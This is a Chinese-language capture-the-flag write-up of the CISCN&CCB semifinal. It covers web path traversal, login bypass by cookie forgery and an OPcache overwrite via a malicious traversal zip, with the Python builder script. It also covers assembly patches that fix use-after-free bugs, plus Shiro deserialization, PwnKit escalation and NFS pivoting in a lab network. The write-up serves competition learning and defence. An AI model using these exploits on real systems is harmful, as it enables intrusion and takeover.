文章总结: 本文详述了CISCN&CCB半决赛中AWDP与ISW方向的解题思路。Web题涉及路径穿越读取与PHPOPcache利用获取Shell;Pwn题针对UAF漏洞通过汇编修改实现指针置空修复;ISW部分涵盖Shiro反序列化、PwnKit提权及内网NFS挂载渗透。文章结合攻击与修复视角,提供了具体的代码操作与利用细节,具有较高实战参考价值。 综合评分: 81 文章分类: CTF,WEB安全,内网渗透,二进制安全,实战经验
【星火之声】第二期:CISCN&CCB半决赛WriteUp
XJUSEC XJUSEC
中学生CTF
2026年3月24日 19:44 新疆
❝
本文来自【星火计划】的【星火之声】投稿,来源于
XJUSEC2026 年CISCN&CCB半决赛WriteUp。❝
如果您也想投稿相关文章,可将
Markdown格式或Docx格式文档压缩后投递邮箱[email protected]。
AWDP
Web
MediaDrive
先从攻击的思路出发的,因为只要会打肯定会fix,文件可以上传,可以读取,可以下载,但是分析源码也知道,ban的特别严格,基本上什么危险文件都上传不上去,文件上传的思路断掉,分析源码看到User类
分析每一个文件的开头会发现,都是先从cookie里面读取User的序列化字符串,可以发现这里可以修改路径
将路径先修改成/etc/,然后?F=passwd 抓包可以读取文件/etc/passwd 最后实在绕不过去,已经到第五轮,然后攻击不了,只能fix了,修起来很简单,直接在preview文件里面禁止用户去别的目录就行了,具体如下:
直接上传,fix成功
easy_time
第一步绕过登录:
再控制台输入,重定向到/dashboard
document.cookie = "user=admin; path=/";
document.cookie = "visited=yes; path=/";
location="/dashboard";
获得时间戳
index.php.bin可以看这篇文章利用PHP的OPcache机制getshell
利用index.php.bin
远程头像 URL:http://127.0.0.1/date.php 远程信息: type=text/html; charset=UTF-8 len=10 len=b’1769426974′
timestamp = 1769426974
# 将时间戳转换为小端序字节
little_endian_bytes = timestamp.to_bytes(4, byteorder='little')
# 将字节转换为十六进制字符串并添加空格
hex_string = ' '.join(f'{byte:02x}' for byte in little_endian_bytes)
print(hex_string)
#1e 50 77 69
计算opcache的值,这个值是/tmp/hash/var/www/html/的值,是后面覆盖文件时会用到、
phpinfo里面opcache开启了时间验证,index.php.bin还需要改变时间搓#1e 50 77 69这个就是我们获得的时间戳转换后的
8.2.6 API420220829 NTS BIN_4888 //版本信息通过phpinfo.php获取
<?php
highlight_file(__FILE__);
echo md5("8.2.6API420220829,NTSBIN_4888(size_t)8\002");
?>
获得md5
将文件index.php.bin内容进行修改:
md5内容修改,同时根据上次获得的时间戳修改文件0040的前4伪。
import os
import zipfile
from pathlib import Path
ROOT_PATH = Path(__file__).parent.resolve()
def build_malicious_archive(base_dir: Path, source_file: str, internal_target_path: str, final_archive: str):
ifnot base_dir.exists():
base_dir.mkdir(parents=True, exist_ok=True)
src_blob = base_dir / source_file
out_package = base_dir / final_archive
ifnot src_blob.exists():
print(f"[-] 错误: 找不到源文件 {src_blob}")
return
try:
with zipfile.ZipFile(out_package, 'w', compression=zipfile.ZIP_DEFLATED) as archive:
archive.write(src_blob, arcname=internal_target_path)
print(f"[+] 构件生成成功: {out_package}")
print(f"[+] 注入路径节点: {internal_target_path}")
except Exception as e:
print(f"[-] 构建失败: {str(e)}")
SOURCE_BINARY = "index.php.bin"
TRAVERSAL_INJECTION_POINT = (
"../../../../../../../../../../../../../../../../../tmp/45b8be9467d6ed29438f06cfe9cee9f6"
"/var/www/html/index.php.bin"
)
CARRIER_PACKAGE = "test.zip"
if __name__ == "__main__":
build_malicious_archive(
base_dir=ROOT_PATH,
source_file=SOURCE_BINARY,
internal_target_path=TRAVERSAL_INJECTION_POINT,
final_archive=CARRIER_PACKAGE
)
获得test.zip,上传文件,覆盖index.php
Pwn
catchme
UAF漏洞
定位到这里发现确实存在uaf漏洞
刚开始将free函数nop掉,check服务异常
然后把free函数plt表改为ret,check服务异常
决定写汇编修改,将指针置空
.text:0000000000000E05 mov eax, [rbp+var_14]
.text:0000000000000E08 cdqe
.text:0000000000000E0A lea rdx, ds:0[rax*8]
.text:0000000000000E12 lea rax, qword_202060
.text:0000000000000E19 mov rax, [rdx+rax]
.text:0000000000000E1D mov rdi, rax ; ptr
.text:0000000000000E20 call _free
:0000000000000E25 mov eax, 0
这是原来的汇编
我们把mov eax,0nop掉,然后跳转到其他段去修改汇编
这是目标段,先把原来的数据nop掉,然后抄写free函数的汇编
改为如图所示
原来的位置进行跳转
如图
Ubuntu运行发现没有段错误,直接打包提交
easy_rw_revenge
UAF漏洞
发现free之后确实没有置零,根据上一题的经验,继续尝试用汇编修改
同时题目给了delete函数
这是sub1A00的汇编,尝试将free之后的汇编与这段汇编结合
这是free的汇编
改为如图所示
改完之后
然后在ubuntu上成功运行
上交后patch通过
ISW
FLAG01
Fscan扫描
检测到漏洞,拿到shirokey,shiro工具
先检测密钥然后检测当前利用链子
一个个测试发现k1这个链子可以利用成功,拿到flag,然后上个内存马,方便命令执行
FLAG02
CVE-2021-4034提权(PwnKit)拿到root权限,然后root目录下拿到第二个flag
FLAG03
用vshell搭一个内网隧道,然后将fscan上传进去扫一下
端口扫描
端口扫描
192.168.45.100:135 msrcp
192.168.45.100:139 microsoft-ds
192.168.45.100:22 ssh | SSH-2.0-OpenSSH_7.4
192.168.45.100:445 microsoft-ds
192.168.45.100:2049 nfs
192.168.45.100:53
192.168.45.100:389 ldap
分析得到nfs可能会有共享文件夹 showmount -e 192.168.45.100
创建目录ccb,将这个目录挂载到192.168.45.50 ccb上
❝
如果你觉得本篇文章有意思或者学到了新技术,不妨点个赞转发一下再走吧?
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:中学生CTF XJUSEC XJUSEC《【星火之声】第二期:CISCN&CCB半决赛WriteUp》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论